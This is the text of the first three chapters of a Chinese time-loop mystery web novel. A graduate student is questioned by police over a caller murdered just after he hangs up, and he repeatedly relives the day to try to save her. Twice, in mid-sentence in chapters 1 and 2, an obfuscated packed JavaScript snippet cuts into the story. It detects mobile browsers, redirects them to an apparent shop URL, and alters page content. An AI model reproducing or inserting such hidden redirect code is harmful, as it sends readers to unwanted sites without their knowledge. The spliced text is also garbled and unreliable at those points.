《同学请自重[循环]》 1. 第一次循环 “姓名。” “尤澈……尤其的尤,清澈的澈。” 穿着制服的警官在内网上敲下他的名字,等待页面刷新的时候扫了旁边坐着的人一眼。 他时不时从半开的窗户看向外面渐沉的天色,手指在黑色卫裤上收紧,回答完嘴角绷着,略显稚嫩的面庞泛着几分不安。 警官微微笑了一下,安慰道:“不要怕,只是请你来做个笔录。” 他见尤澈点了点头,收回视线仔细查看屏幕上显示的资料,“尤澈……林城大学物理系研究生,研二?” 尤澈“嗯”了一声。 警官转过头,一双眼睛犀利地看着他,不轻不重地问了一句:“认识裴九昭吗?” 尤澈怔了一下,随即轻皱眉在自己的脑海里寻找这个名字,半晌后确信地摇了摇头,说道:“不认识。” 警官看他的模样不像撒谎,斟酌了一小会儿才开口道:“裴九昭横死于游城家里,经核查,她死前的最后一通电话打给了林城大学物理系招生办公室。” “电话挂断不到十分钟,游城市相城区警方在裴九昭的家里发现了她的尸体。” 尤澈今天下午就在物理系招生办公室值班,整个房间本是只有他一个人的,安静得只能听到电脑主机嗡鸣的声音,却偶然接了一通持续了将近四个小时的电话, 他早已忘却那通电话的内容,因为对方一直在说些鸡毛蒜皮的小事,惹得他心烦,就没怎么往脑子里记,基本上左耳朵进右耳朵出。 如今面前身穿制服的警官却严肃地告诉他,那个被自己吐槽了不知多少句的陌生人,竟在这通电话结束后暴毙。 随着警官的话说完,尤澈的心脏猛然一抽,浑身的血液蓦地倒流起来。 他从前只在新闻里或是别人的口中听到有关于同龄人死亡的事情,而这次的事甚至和他有很大的牵扯。 刚刚入春的傍晚带了几分凉意,冻得他微微颤了一下。他反应过来后立马看向警官,尽力撇清关系道:“警官,我根本不认识她!” “甚至连她的名字我都不知道,我……没有理由去杀她。” “据相城区警方传来的信息,我们更倾向于他杀。退一万步讲,就算是你教唆她自杀,也与事实不符。” 警官边说边瞧了他几秒后,见他微微松了口气后起身将窗户合上,慢步到空椅子上坐下,说道:“我相信你是无辜的,不过人命关天,希望你能配合我们调查,仔细想一想那通电话裴九昭说了什么关键性的事情。” 尤澈没有先点头,而是绞尽脑汁地回忆自己接电话后听到的信息。可越是想知道裴九昭向自己透露了什么,那片记忆越发空白,反倒是接电话前自己做了什么越发清晰。 从图书馆出来、去办公室后打开电脑、将文件拷贝进来、等待程序运行…… 他抓了一把头发,半弯腰将脑袋垂低,吭吭哧哧地开口道:“我…真的记不得了……对不起。” “没关系,静下来慢慢想。”,警官轻声地说着,试图安慰尤澈的情绪,“我再讲一些裴九昭的事,看看能不能唤起你的回忆。” “裴九昭是游城大学化学系大四学生,考研报考的是本校物理系,因为成绩没有过本校的线,决定调剂……” “我想起来了一点……”,尤澈面色有些犹豫。 “嗯,你说得稍微慢一点、详细一些,我需要在电脑上记录。” “考研成绩出来的那几天,物理学院发布勤工俭学的招聘,主要工作是在招生办接电话,无论是问成绩排名或者是希望调剂的,都要热心招待。如若对方打了差评,是要扣钱的……” 尤澈顿了一下,继续说道:“今天下午两点,我到了物理系招生办公室,将U盘里的实验数据挪到了电脑上写报告。” “两点半,隔壁教学楼的上课铃声快结束的时候,我接到了裴九昭的电话。” 警官打字的手停了下来,问道:“你可以确定是两点半接的电话吗?” 尤澈毫不犹豫地点了点头,道:“确定。招生办对外宣称的下午接电话时段是两点半到六点半。我当时还奇怪,卡着时间点打电话是很怕被占线吗?” “我记得她打电话来开门见山地说了自己本科是游城大学化学系,考研报的是游城大学物理系天文专业,成绩是367,希望可以调剂到林城大学物理系。” 警官切页面瞧了一眼裴九昭的报考专业以及分数,说道:“记得很清楚,报考的就是天文专业,分数367。” “然后你说了什么?” “我说,今年天文专业调剂名额不多,但是她的分数很高有一定保障,等到调剂系统开放的时候报名就可以了。” 尤澈说完这句后想了一会儿,才接着说道:“一般说到这里打电话咨询的人都会结束对话,但是裴九昭突然问我是物理系什么专业的?” “我以为她想通过我了解天文的老师,就推荐了一个我认为还不错的。但是她好像丝毫不在意自己未来的导师怎么样……或者说她似乎并不在意自己能不能调剂上林大的研究生。” 警官的手顿了一下,询问道:“为什么这样说?” “在我向她推荐导师之后,裴九昭没有问学业上的事,而是在说……一些八卦和见闻,有关于游城大学的。” 尤澈抿了抿唇,道:“今天晚上八点是实验报告的deadline,所以我没太注意她絮絮叨叨说了什么。招生办公室平常没人来,我只按了免提就去写报告了。” “我习惯写一会儿想一下,想的时候顺便应一句她讲的话,裴九昭可能以为我在听着便喋喋不休地一直说到了六点十五。” “我内心其实很想早点挂电话,碍于差评会扣钱一直忍着。六点十五的时候,我想着……快要到值班结束的时间了,就对她讲了一句——同学请自重。” “随后挂了电话,再然后收拾完东西刚下楼就看到了警车,也就是六点三十分。” 警官简明扼要地点出来尤澈这段话中的重点,“也就是说,从你给她推荐导师后,她所说的所有话你都不记得了?” 尤澈摇了摇头,随后道:“几个小时后就要交报告,我那时恨不得一分钟当一小时用,根本没空听她说什么,只知道是一些家长里短。” “不是隔壁家的猫生了几只崽,就是游城大学校花找了个其貌不扬的男朋友。” “……”,警官揉了揉太阳穴,面上流露出难办的神色,又不放弃地追问道:“裴九昭开始和你聊这些琐事大概是几点?” 尤澈确信地说道:“两点三十五,模拟数据刚转完一个周期,我急着写实验报告,就没再理过她。” 警官默默地叹了一口气,将尤澈所讲的经过记录下来后,说道:“这份笔录我打印下来,你签一下字按几个手印就可以先走了。” “只是被害人死之前应当与你交流得最多,还望你能多想一下裴九昭所说过的重要语句。如果我们有所发现需要你再来警局的时候,希望你能配合。” “我姓章,有想起来任何细节的话,直接打警局电话说找章警官。” 尤澈点了点头,肚子不合时宜地叫了一下,他尴尬地接过警官递过来的那张纸,在对方所说的地方签上了自己的名字,又按了几个手印。 警官确认无误之后对他笑了笑,说道:“可以了,快回去吃饭吧。” “裴九昭的事……你不要太自责。” “谢谢章警官。”,尤澈答谢后从一旁的椅子上拎起自己的书包,警局离林城大学校区很近,他很快便走了回去,买了一份饭带回了宿舍。 * 三月份的中午,温暖的太阳照耀在大地上,伴随着微风卷上行人的衣裳。 尤澈刚走出图书馆,迎着阳光眯了眯眼,口袋里的手机陡然响了一下。他边走边拿出来瞧了一眼,是负责勤工俭学事项安排的同学发来的消息。 [eela:下午两点半到六点半记得值班,最近有人查,切忌迟到早退。接电话要恭谦有礼,一个差评就要扣一天的钱。] [尤:知道,在路上。] [eela:这才不到两点,也不用害怕迟到就去那么早。] [尤:今天要交实验报告,借着办公室的电脑收尾一下。] [eela:……好运。] 尤澈到物理系招生办公室的时候,看了一眼墙上挂的表,正好两点。他将电脑开机,把U盘插上,将模拟实验的程序点开运行,随后点开了word。 午后的阳光透过窗户洒在尤澈的侧脸上,他的手指正快速地在键盘上穿梭,不一会儿就敲了半页的字。 须臾,窗户外边对面的教学楼陆陆续续接纳了许多来上课的学生们。 尤澈将报告的实验步骤写完后停下了手指,抓了一把头发,将目光移向了外面的天空。 不知是不是睡眠不足的原因,尤澈瞥向那缕照进来的阳光时,有一瞬间的恍惚,好像这一幕曾在哪里见过。 他循着这个由头想了想,觉得似乎是在昨夜的梦里,但具体发生的事,一点也想不起来。 下午两点半,教学楼响起了上课的悠扬铃声。 尤澈刚将视线从窗外移回来,桌子左上角的座机响了起来。他刚觉得卡点打电话很奇怪,又猛然觉得这份奇怪也很熟悉。 他摒弃了这份不知来自哪里的朦胧臆想,随手接起了电话。 “老师您好,我叫裴九昭。本科就读于游城大学化学系,报考的是本校物理系天文专业,这次考了367分,希望能调剂到林城大学天文专业。” 电话那头的女生语速不快不慢,态度也很端正。尤澈从未认识过一个名叫裴九昭的人,却对这个名字有种说不上来的熟悉。 他只觉得是自己没休息好,准备在对方挂电话之后在桌子上趴一会儿。 “同学你好,据我所知,物理系天文专业今年的调剂名额并不多,但是你的成绩还不错,欢迎在调剂系统出来之后报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200942|139178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考林城大学物理系研究生。” 电话那头的裴九昭却好似并不关注调剂的事,听了尤澈这番话反而有些兴奋,语气稍欢快地说道:“原来招生办还有学生坐班啊?我们学校都是老师……同学你是林大物理系的研究生吗?” 尤澈闻言不明所以地怔了一下,想了想避开这个问题回道:“如果同学是希望我推荐一个导师的话,我更倾向于……” “同学你误会了。”,裴九昭打断了他的话,随后自来熟地说道:“我只是好奇林城大学的研究生累不累?” “我有几个学长学姐,日日在实验室里从早上待到晚上,除了吃饭就是做实验,听说非常累。” “叮——” 下午两点三十五,模拟实验的程序第一个周期结束了,尤澈的目光被电脑吸引。 在那一瞬间,心底有个声音模模糊糊地说着什么,他一时抓不住,只好将座机改成免提,先顾着自己的实验去了。 裴九昭没有听到他的反馈也不在乎,胡天海地地同电话这头的尤澈讲着,仿佛尤澈是她多年未见的好友,恨不得将自己这二十多年来知道的所有事都说与他听。 上下课铃声响了又响,裴九昭一直在电话里不知疲倦地说着趣事见闻,直到外面的天色稍微暗了下去,直到尤澈的实验报告都写完了,对方还没有要停下来的意思。 “同学,我给你讲讲我们学校的校花吧,她上个月找了个其貌不扬的男朋友……” “嗯。” “同学你知道吗?我今天回家发现隔壁邻居的布偶猫生了好几只小猫,只是花色特别杂。邻居不在家,好几只猫咪隔着铁门喵喵喵地叫……” “……嗯。” “同学你来招生办接电话是不是因为勤工俭学?林大会拖欠学生工资吗?研究生能凭借项目养活自己吗?” “……” 尤澈抬眼看了一下座位正前方的表,六点十五,他听裴九昭胡扯了三个多小时,那唠家常般的噪音持续环绕他如此长的时间令他实在是有些不耐烦。 他想到了值班前负责人的嘱咐,只能忍着一股气,在心里暗示自己要道德要谦逊要钱! 尤澈从屈指可数的礼貌中绞尽脑汁,咬着牙一字一句地道:“同学请自重!” 他迫不及待地将电话挂了,下一秒,那些朦朦胧胧的“梦境记忆”瞬间清晰起来,塞满了空白的脑海。 下午接到一通来自裴九昭的电话、对方啰哩啰嗦说了快四个小时......这些他都在“梦”里见证过,就连他最后忍无可忍说出来的话都一模一样。 昨夜的梦好似是一道预言,更像是警告般的前兆。不到二十分钟后,他将被赶来的警官带去警局做笔录,而做这份笔录的目的是——裴九昭死了。 想起来“梦境”中所有事情后反而有些迷茫,尤澈觉得自己像是在“梦”中被不知何方神圣提点了一番,但他却因为自己的疏忽将这件事抛之脑后忘掉,导致一个活生生的人死在家里。 他反应过来时,墙上挂的表已经走到了六点二十,尤澈立马抓起座机上的电话,回拨了过去。 “嘟——嘟——嘟——” “您拨打的电话暂时无法接通……” 尤澈尝试回拨了四五遍,但是电话依旧无人接听。 六点二十五,他下定决心先不以自己的方式联系裴九昭,而是打给梦里交流过的那位章警官,110的电话很快有人接听。 “您好,我是林城大学的学生,我要报案......一个女生可能会有性命之忧。” “好的,正在为您转接林城市上关区派出所,请勿挂断电话。” 尤澈的心脏像是坐过山车般,上上下下落不到实地,跳得很快好似马上要从胸腔中涌出来。 听到警官的声音,他吁了一口气,急忙说道:“您好,我是林城大学的学生,找章警官有急事要说,关于命案......” 为防接电话的人耽误时间,尤澈只好用这样的办法尽快和章警官说上话。 电话那头的人顿了一下,渐小的声音响起,“章警官,有人找……” 脚步声渐近,那人拿起电话,说道:“我是章警官,请问你是哪位?” “章警官,我需要你的帮忙。” “我是林城大学的研究生,今天在物理系招生办公室接到了一位名叫裴九昭同学的电话,她在游城大学上学,家也在游城。” 尤澈纠结了一下怎么同一个什么都不知情的警官诉说裴九昭将会在不久后离世的事情,总不能直接说明是因为自己梦到了吧? 他琢磨了一下语句,接着说道:“通过与裴九昭聊天,我推测她……有自杀倾向,希望章警官可以向游城警方请求出警。” 电话那头沉默了一会儿,似乎在考虑着什么。 尤澈怕时间晚了裴九昭就救不回来了,只能急切地开口道:“警官,你一定要信我……” “一分钟前,裴九昭已无生命特征。” 2. 第二次循环 “姓名。” 这次没有出动警车,是尤澈自己从学校走过来的。一路上他想了很多东西,有关于裴九昭的死亡。 他第一次回拨电话的时间虽说不是特别及时,也不算很晚,只差了五分钟。五分钟……入室杀人再逃走,连警方也查不到凶手的踪迹只能从他的只言片语中找寻线索,真的来得及吗? 还有,裴九昭为什么单单跟他讲了快四个小时的话?如果她提前有预感凶手会杀她,那段对话中自己到底漏了什么关键性的求救信号? 章警官等了他半晌没听见回话,一只手在他的面前晃了晃,稍微提高音量地说道:“回神了,姓名。” 和“梦境”一样熟悉的对话再次展现在尤澈的耳边,他微微恍惚了一下,用同样的话回道:“尤澈。尤其的尤,清澈的澈。” 只是这次,他作为报案人的身份,需要自己讲清楚前因后果。尤澈抬头直视章警官,说道:“林城大学物理系研二,下午在物理系的招生办公室值班,两点半接到了裴九昭的咨询电话。” “她说自己本科是游城大学化学系,报考的是本校天文专业,367分没考上,希望调剂到我们学校。我说她的分数很有希望,调剂系统开的时候直接报名就行了。” 没听到后续,章警官敲击键盘记录的手一顿,从电脑前抬头瞄了一眼面色犹豫的尤澈,找到关键点问道:“你为什么会觉得裴九昭有自杀倾向?她在跟你的近四个小时的通话中都说了什么?” 尤澈当时急着报案随便扯了一个“自杀倾向”的缘由,挖的坑如今又将自己摔了进去。他抿着嘴抿了半天,想着如何绕过这个话题且不让自己显得可疑。 庆幸有了“梦境”的预示,脑子不至于卡顿,他缓缓地开口道:“晚上八点,我需要交一份实验报告。下午两点三十五,模拟实验的程序运行过第一周期,从那往后我就没怎么听裴九昭说了什么。” “不过,值班快结束的时候,我好像听到了毕设查重的字眼。挂了电话后我一直在思考,不免联想到了之前听说有同学因为查重没过跳楼的事情。” “所以,我在六点二十的时候回拨了裴九昭的电话……连着打了很多通都没人接,五分钟后我报了案。” “至于近四个小时她到底都说了些什么,不好意思警官,我急着写实验报告没听清……” 章警官连着看了他好几眼,视线在尤澈微微泛红的耳根上逡巡了几下,不留情面地揭穿他道:“据刚刚游城相城区警方发来的裴九昭资料来看,化学系的毕设查重时间最早要到5月上旬。” 闻言,尤澈心里猛地一梗,不敢再面视眼前的藏蓝色警服,慢慢地低垂脑袋,尴尬地找补道:“可能是我听错了……” “只是如果裴九昭真有自杀倾向,不再打电话回去确认一下的话,我于心难安。”,尤澈为了撇清自己的嫌疑又解释了一句。 “小李,将相城区警方发来的照片打印一份拿过来。”,章警官朝门口站着的年轻警官吩咐了一声。 小李瞄了眼微微低着脑袋的尤澈,面色有些犹豫,不确定地开口道:“章队,真的要拿过来吗……那个画面就连张姐瞧了都有点反胃。” “黑白的没事,去吧。”,章警官见他还在门口磨磨蹭蹭的,索性挑明道:“研二又不是小孩子了。” 照片早有备份,拿过来不过两分钟左右的路程,办公室中静坐的两人却约莫等了五分钟。 小李将那张黑白的纸递给章警官,又瞄了一眼尤澈后退了出去。章警官接过那张纸扫了一眼,笑了笑。 手指翻转将有内容的那面朝上放到了尤澈前的桌子上,他曲起指节扣了两下,说道:“这是不久前从现场拍的照片。” “本是机密,只不过……” 没有听到后续,尤澈慢慢地将视线从地面移到那张纸上。 黑白的画面很模糊,模糊到尤澈第一眼都没有看出那是个人。如果说正常的照片是超高清,那么这张纸最多只有流畅。可以想象,那名叫小李的警官有多么怕他会被吓到。 尤澈将那张纸拿起来凑近瞧了瞧,依稀能看到裴九昭家里的布局。她躺在客厅的地面上,旁边是一张餐桌,上面还摆着碗筷。从身体里流出的血将她整个淹没,一直蔓延到照片尽头。 黑白的画面中,裴九昭所处的地方是一大片暗色阴影,模糊了血和人的界限。从纸上面来看,只知道她流了很多血,很难看出死亡原因。 但那终究是从活生生的人身体里流出来的血,尤澈将裴九昭认出来的那一瞬间还是会被吓到,就连捏着纸边缘的拇指和食指都会不自觉地搓着,仿佛上面沾染了粘稠的人血。 章警官见他的脸有些发白,将刚才没说完的话继续讲了下去,“只不过,死亡是一件很严肃的事情,我想听的不是开玩笑,希望你可以重视起来。” 他说完直接伸手从尤澈那里抽走了黑白照片,将画面扭向尤澈,指了指血迹蔓延的地方讲道:“这里的血迹一直延伸到防盗门外被邻居发现。六点二十左右,相城区警方接到邻居的报警电话。” “现场发现有打斗痕迹,根据裴九昭最后死亡位置和防盗门之间的距离推测,她受到致命伤的时间大概在六点十六分到六点十八分之间。” “也就是说,几乎在你挂断电话后的一分钟之内,凶手就已经准备动手了。门窗完好无损,要么是提前潜伏,要么是熟人作案。后面这个可能警方正在调查中,前面的……” “看你能从近四个小时的通话中想起什么关键性的地方了。” 章警官循序渐进步步紧逼,就连声音也是逐渐尖锐,逼得尤澈再也直视不了那张证明死亡的黑白照片,弯下了腰,手肘撑在膝盖上。 两只手从头发的缝隙中穿过,猛地一拽,迫使自己从空白的脑海里回想那些细节,哪怕只有一句唠家常的话。 家常……邻居……邻居怎么了? 尤澈试着追溯那零星的苗头,他记得裴九昭讲了邻居家的猫喵喵叫。 为什么会叫?饿……家里没人…… “我想起来了!她给我说过一件事!”,尤澈蓦地抬头直视章警官,确信地说道:“她回家的时候,邻居不在家,所以邻居家的猫喵喵叫。” 很显然,从章警官平淡的眼神中就能知道,这些琐事并不重要。 尤澈的一双眼睛又暗了下来,他惭愧地垂下眸子,承认自己的无能道:“对不起,我对于裴九昭同学很抱歉……可是我真的记不清她说了什么。” 章警官看了他好几秒,确认他没有在伪装什么,随后说道:“今天就先到这里吧,等一会儿按个手印。” “作为一名时常与死亡接触的人,我对于裴九昭感到惋惜,更希望你可以尽快想起有关于通话中她所透露的细节。” 尤澈接过红色的印泥,抽出手指在上面轻轻按了一下,在章警官的指导下印在相应的位置。 正当他脑子放空的时候,旁边的人说了一句话让尤澈按红印的手指一顿。 “我从未见过你,而你报案的时候却直接道明要与章警官交流命案细节……” 尤澈感受到有一道犀利的视线撒在自己的头顶,他的手心瞬间热了起来出了一层薄汗。 他咬了一下口腔里的软肉,决定胡扯到底,“之前在学校论坛里看到过您的事迹,那位同学说章以恩警官办案特别认真负责。” “我当时急着找一个警官说明情况……” “我好像没有处理过贵校的命案。” 尤澈干笑了两声,接着胡扯道:“那可能是我记错了……” 他快速地在需要的地方按下手印后,急匆匆地和章以恩告别后就离开了。 “研二的学生,又是听错了又是记错了……可能吗?” 章以恩接了门口小李递过来的烟,熟练地点燃后夹在手指间,远远地朝快要看不见身影的尤澈点了一下。 小李想了一下这个问题,斟酌地回道:“除非林大物理系学术造假。” 这回答倒是让章以恩都愣了一下,片刻后他笑着拍了拍小李的肩膀,调侃地说道:“你那张糊成马赛克的纸,是在照顾一个智商可能比我们俩加起来都高的高材生吗?” 尤澈连晚饭都没有胃口吃,直直地回到寝室爬上床拉上床帘裹着被子不吭声。那张看起来很不爽的脸吓得两个室友都将游戏禁了音。 黑暗的环境不断地激发人的情绪,导致他躺在那里一直在想,如果他能早点回拨,甚至在挂的那一瞬间回拨,是不是最少能听到凶手的声音? 或许他会来得及提醒裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200943|139178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 九昭赶紧跑,或者是瞬间拨通邻居家的电话让邻居来砸门。那样,一切是不是都会不一样? 只要裴九昭能再坚持一分钟左右,就能被邻居救走,最差也是受了伤被及时送往医院,不至于失血致死。 尤澈按亮了手机,不知不觉已经到了凌晨一点。即使他再愧疚、再有多少的对不起,也不免因为生理因素犯了困。 半睡半醒间,他陡然想到了一个问题,一个没人会回答他的问题。 为什么没有人听到裴九昭的求救? * 听了近四个小时的人工噪音,尤澈扫了一眼墙上挂着的钟表,已经六点十五了,外面的天色也微微暗了下来。 他竭力克制自己的不耐烦,对着招生办亮着的座机说了一声“同学请自重”后,挂了电话。 那一瞬间,无数的记忆碎片一涌而入。 尤澈来不及细想任何事情,马上用座机回拨了上一通了来自裴九昭的电话。 “嘟——嘟——” 焦急的心情在此刻无限放大,尤澈在等待的时间里瞄了一眼钟表,秒针刚刚转到12,六点十六分…… 几乎算是秒回,但还是没人接。 “您拨打的电话……” 尤澈挂断了电话,不再尝试回拨,而是直接拨通110的电话。还是和上次一样的话术——性命之忧。 电话那头章以恩开口问道:“我是章警官,请问你是哪位?” 尤澈吸了一口气,开口说道:“章警官,我是林城大学研二学生,下午在招生办公室接到一通电话,对方是游城大学学生裴九昭,此刻正在家中。” “刚刚我不小心挂了电话,再想回拨的时候发现没人接,我怕裴九昭同学可能有性命之忧,拜托章警官联系一下游城警方,去到她的家里确认一下。” “非衣裴,数字九,昭雪的昭。” 经过了两次经验的洗礼,尤澈的话说得越发流利、合理起来。 他听到章警官放下电话唤来小李,交代了一些事情后再次拿起来,说道:“同学,兹事体大,我们需要记录一下,现在请来一趟上关区派出所。” 尤澈答应后挂断电话,心不在焉地简单收拾了一下自己的东西,将电脑上的东西随手保存,拖进U盘里。 电脑上弹出一个全是英文的窗口,他想都没想就点了“Y”。 去往警局的路上,尤澈不得不正视自己如今的处境。如果说,第一次经历是“梦境”、预示,第二次经历是现实,他没有把握住就应该按照正常的时间流速走下去。 而如今,根据那些完整的记忆碎片,他清晰地知道自己这是第三次经历裴九昭的事情了。也就是说,基本上可以确定——他被一个陌生人卷进了死亡循环。 只要裴九昭没有活着,无论明天后天还是未来,都将是今天。 兜兜转转又回到了昨天晚上半睡半醒间的那个问题——为什么没有人听到裴九昭的求救? 六点十六分到十八分,正是大多数人吃晚饭的时间。打斗、受到致命伤,都没有任何人听到任何声音吗?反倒是血一路流到了防盗门外才被邻居发现。 凶手敢挑在这个人最多的时间下手,就不怕被撞破吗? 林大离上关区派出所很近,尤澈到门口的时候还专门看了一眼时间,差六秒到六点二十分。 他和一个陌生的警官表明来意后,那人冲着里面喊了一句“章队”。章以恩从办公桌间直起身,说道:“先到办公室等我。” 派出所里每个人都忙得很,帮忙通报的警官低头干自己的事情去了。 尤澈顿了一下,轻车熟路地顺着左边的走廊走到倒数第二间屋子停下。门开着,里面没人,他犹豫了一下,还是顾全礼貌敲了敲门再走进去。 章以恩一只手撑在办公桌上,刚挂完一通电话,视线朝走廊转去,在尤澈的背影上停了好几秒。 随后,他直起身向走廊去,跟尤澈前后脚进了办公室,开门见山地说道:“我想告诉你一个很不幸的事情。” 闻言,尤澈打心底怵了一下,一种不好的预感漫上心头。 “相城区警方第一时间查了裴九昭的住址并出警,敲门无人应答。” “破门而入后,裴九昭已无生命特征。” 3. 第三次循环 “怎么会……” 这个消息像是晴天霹雳一般,将尤澈定在了原地。他甚至不敢相信自己的耳朵,一双眼睛呆呆地盯着章以恩看。 “先坐。”,章以恩走到办公桌旁边,拉开凳子后示意他过来,随后坐到了自己的位置上,说道:“接到你的电话后,我们立马联系了游城市相城区警方。” “那边接收消息后很重视,立马出了警,差几秒到六点二十的时候赶到了裴九昭的家里。” “房中无人应答且血腥味儿隐隐挥发了出来,出警的同志加急破了门后,发现了躺在血泊中的裴九昭,凶手早已不知去向。” 尤澈的神思根本不在这里,他恍惚地坐下后一直在回忆挂完电话所发生的事。 明明……几乎就在挂电话的那一瞬间回拨了过去、报了警,为什么还是没救回来? 上一次迟了五分钟没人接、这次秒回也没人接。也就是说,在他挂了电话的那一刻起,裴九昭就已经失去了接电话的能力或者……死了。 但是怎么会那么巧地与他挂电话的时间一致? “相城区警方破门而入的时候,裴九昭的邻居恰巧从隔壁房子里出来,从夹缝中看到了案发现场,当场昏死在原地。” 章以恩边说边观察尤澈的表情,见他稍微回过来点神后说道:“经过查证,你不仅是第一报案人,且与裴九昭在今日的交流长达近四个小时,是此案最关键的人物。” “更因距离案发现场最近的邻居如今被送往医院,你的说辞相当重要。” “需要给你一点时间缓解吗?”,章以恩说完后见尤澈摇了摇头,轻车熟路地打开内网,问道:“姓名。” “……尤澈。尤其的尤,清澈的澈。”,心里一直压着一块巨石,尤澈深感有点喘不过气,他停了几秒稍微吁了口气后才接着说。 “林城大学物理系研二,下午在招生办当值。两点半接到裴九昭询问调剂事宜的电话,让她安心等调剂系统开放。” “两点三十五,电脑上模拟实验的程序正好运行完了第一个周期,我就把精力主要放在晚上要交的实验报告上了,有一搭没一搭地回话,没怎么记得她说了什么。” “六点十五,我的东西正好砸到了招生办座机的挂断键上,急忙回拨电话发现没人接……联想到了之前的流言,不放心裴九昭同学,立马报警。” 上次他将事情一五一十地讲出来,临到最后扯了一个发觉裴九昭有“自杀倾向”的谎,导致章警官对他极为防备,也对他的后续解释也抱有怀疑。 这次尤澈一改报警缘由,隐瞒自己主观挂电话的事情,为得就是在警官面前降低自己的嫌疑,从而获取有关裴九昭的信息,找出凶手、尽早脱离循环。 没有听见尤澈的声音,章以恩从电脑前抬起头来,问道:“裴九昭在通话中有没有透露过什么关键性的信息?” 兜兜转转还是绕不开这个问题。 尤澈虽然有了三次循环的经历,面对警官问话越发流畅、睁眼说瞎话也精进不少。可是任他抓破脑袋、再循环个千百次,也依旧想不起裴九昭那三个多小时到底说了什么。 因为他只有在说出那固定的五个字“同学请自重”后才能拾起回忆、想起循环和死亡。在那之前,他永远只是一个接电话接到不耐烦、懒得听的打工人。 从上个问题问出口后,尤澈的眉头就没再松过。章以恩只能试图用一些代表性的词语唤起他的记忆。 “比如说她的家庭、学习这些,以及你有没有从通话中听到什么别的声音……” 后半句话章以恩没有说出口,他实在不能想象一个大四学生真的会拉上一个陌生人分享别人的八卦近四个小时。 眼瞧着尤澈那副迷茫且没什么头绪的模样,章以恩暗暗地叹了一口气,从桌子上拿出一份刚刚拿进来的资料。 “本不应该告诉你,只是这起案子性质非常恶劣。凶手竟在青天白日入室杀人且瞒天过海,几乎不曾留下犯罪痕迹。上面痛惜青年人才的流失,因此对本案格外重视……” 那些客套的话,尤澈基本上左耳朵进右耳朵出。不过不难从章以恩的这番话中抓住重点——官方压不住了。 也怪不得消息走漏得快,任谁在饭点的时候听说破门、尸体,都忍不住唏嘘几句。惋惜的也好、叹气的也罢,恐怕比官方还急的,只有他一个人了。 章以恩见他有点出神,微微咳了一声,说道:“相城区警方先传来了一份有关裴九昭死亡原因的简报。” “裴九昭因失血过多而身亡。失血源自胃部的刀口,伤口错综复杂地集中在一个部位,粗略统计约有十几刀。” “刀痕不长但极深,刀口角度极为奇怪……” 尤澈听到这里的时候愣了一下,不自觉地问出声道:“为什么奇怪?” 章以恩从报告中抬眸扫了一眼对面坐着的尤澈,继而解释道:“像平常侦破的那些案件,从刀口角度、深浅状态大约能判断出凶手的性别、身高,以及受害者受伤的状态等信息。” “而裴九昭身上的刀口,经过简单的观测,无法从深浅状态判断入刀情形,角度近乎垂直捅入。” “十几刀皆如此,排除了凶手与裴九昭身形相近的情况……初步分析,就只剩下裴九昭失去了行动能力平躺着被凶手杀害这种处境。” “然而,一是并未在裴九昭身上发现昏厥等特征,也就是说她是可以进行反抗的,稍有争斗刀口就不会呈现出近乎垂直捅入的状况。” “二是十几刀像是泄愤却又保持高度理智,如若有仇难以冷静,刀口没必要也不会如此一致;如若无仇,又是怎么在门窗完好无损的情况下入室杀人?” 章以恩的几句分析就将尤澈的脑子搅成了一滩浆糊。他不曾对这些细节深入了解过,就算平时看些电视剧,也就是白刀子进红刀子出死了罢了,没人对着刀痕哪深哪浅得分析一通。 抛开这些专业性的分析来,如果让尤澈当场猜一个最有可能的凶手,他只觉得那人是与裴九昭再相熟不过的。 不然怎么他刚挂了电话,那边便了无生息? 只是无论电视剧还是现实,都离不了一样东西。 尤澈没有回答章以恩提出的专业性问题,反倒问了一句,“现场有没有发现凶器?” 章以恩深深地看了他一眼,应道:“有。” “跟着血液滴落的痕迹情况,在浴室发现了一把的水果刀,上面的血迹还未完全干涸。” “浴室并未发现大量血迹,排除第一犯罪现场的可能。推测是凶手走之前随便找了个地方扔下的。” 尤澈对审讯这方面的东西一窍不通,只觉得章以恩像是挤牙膏一般。他想起来有关事宜问什么对方才说什么,其他的一概不讲。 如今到哪不都宣传群策群力吗?那些事情告诉他,分明只有好处没有坏处,万一他突然想起来裴九昭说了什么关键性的事情呢? 凭着一根筋的脑子,尤澈自然而然地觉得有了案发现场、作案工具,凶手相应地就会水落石出。 他心下略有些解放的轻松,顺势问道:“水果刀的刀柄上有没有留下指纹?” 章以恩的视线移到了报告的最下方,上面写着刀柄指纹的所属者。他扫了一眼那个名字后,犹豫了两秒对尤澈笑了一下。 “……没有。” 心中刚要放下的大石头被这简单的两个字给推了回去,尤澈的心情瞬间沉重了下去。 也是他心急,怎么会那么简单?凶手就蠢到将指纹完整地留在凶器上让警方查验? 而且,他是来脱离循环的,不是侦破案件。就算真的知道了凶手,如若不能在挂电话之前恢复有关于循环的记忆,他还是不能避免裴九昭的死亡……还是出不了循环。 如果记忆回溯的前提是说出“同学请自重”这五个字,他又该如何让自己提前知晓?尤澈几乎每时每刻都卡在这个问题上。 如若这个问题实在避免不了,是否有人能够替他在挂电话的一瞬间救下百里之外的裴九昭? 离她最近的人……那位邻居! 尤澈的眼睛一亮,想了想措辞后开口同章以恩说道:“章警官,我突然想起来一件事。” 